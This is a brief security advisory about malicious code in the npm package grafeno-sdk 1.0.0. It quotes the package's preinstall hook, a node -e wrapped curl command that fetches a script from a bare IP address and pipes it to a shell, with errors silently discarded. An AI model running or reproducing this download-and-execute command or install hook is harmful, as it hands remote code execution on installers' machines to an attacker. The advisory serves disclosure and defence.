Malicious code in grafeno-sdk (npm)

Details

**Severity:** Critical

**Affected versions:** `= 1.0.0`

## Source: amazon-inspector (665dd78adc2d9c5f30bd8b140dc2dfc5bf9e61efb96ea9945018154d43102ad3)
package.json declares a preinstall lifecycle script that runs `node -e` to invoke `child_process.execSync('curl -s 216.126.236.46/x.sh|sh', {shell:'/bin/bash'})`, wrapped in a try/catch that silently discards errors. On `npm install`, this fetches an opaque shell script from a bare IPv4 address (216.126.236.46) over plain HTTP and pipes it directly to bash, giving the operator of that IP arbitrary code execution on the installer's machine. The node-wrapper and error-swallow conceal the fetch from lifecycle output and hide any failure from the installer.
